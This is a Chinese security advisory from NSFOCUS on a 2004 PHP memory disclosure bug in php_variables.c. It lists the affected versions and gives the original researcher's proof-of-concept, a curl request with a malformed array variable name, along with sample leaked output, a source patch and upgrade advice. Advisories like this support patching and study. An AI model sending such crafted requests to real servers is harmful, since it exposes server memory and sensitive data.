安全研究

安全漏洞
PHP PHP_Variables远程内存泄露漏洞

发布日期:2004-09-15
更新日期:2004-10-10

受影响系统:
PHP PHP 5.0.1
PHP PHP 5.0.0
PHP PHP 4.3.8
PHP PHP 4.3.7
PHP PHP 4.3.6
PHP PHP 4.3.3
PHP PHP 4.3.2
PHP PHP 4.3.1
PHP PHP 4.3.0
PHP PHP 4.2.3
PHP PHP 4.2.2
PHP PHP 4.2.1
PHP PHP 4.2.0
不受影响系统:
PHP PHP 5.0.2
PHP PHP 4.1.2
描述:
BUGTRAQ  ID: 11334

PHP是一种流行的WEB服务器端编程语言。

PHP中由于php_variables.c的错误数组解析,远程攻击者可以利用这个漏洞获得PHP代码或者部分内存数据。

通过在追加一个GET/POST/COOKIE变量数组后追加一个'[',如abc[a][,'a'数组元素长度设置为变量名strlen("abc")长度变量,可导致服务程序返回部分内存信息给攻击者,可能导致敏感信息泄露。

<*来源:Stefano Di Paola (stefano@dipaola.wisec.it
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=109527531130492&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Stefano Di Paola (stefano@dipaola.wisec.it)提供了如下测试方法:

$ curl  "http://www.example.com/phpinfo.php" -d `perl -e 'print "f"x100;print "[g][=1"'`

where phpinfo.php is:
<?
phpinfo();
?>

或者包含print_r函数的PHP文件:
<?
print_r($_REQUEST);
?>

it will print the output similar to:
------------------------------------------------
  Array
(
    [ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
      ffffffffffffffffffffffffffffffffffffffff] => Array
        (
          
[g\0_\0123\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0] => 1
        )
)
-----------------------------------------------

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 在php5.0.1中修改main/php_variables.c的136行:

index_len = var_len = strlen(var);

改为

index_len = var_len = strlen(index);


并重新编译。

厂商补丁:

PHP
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

PHP Upgrade PHP 5.0.2
http://www.php.net/downloads.php#v5

浏览次数:2939
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障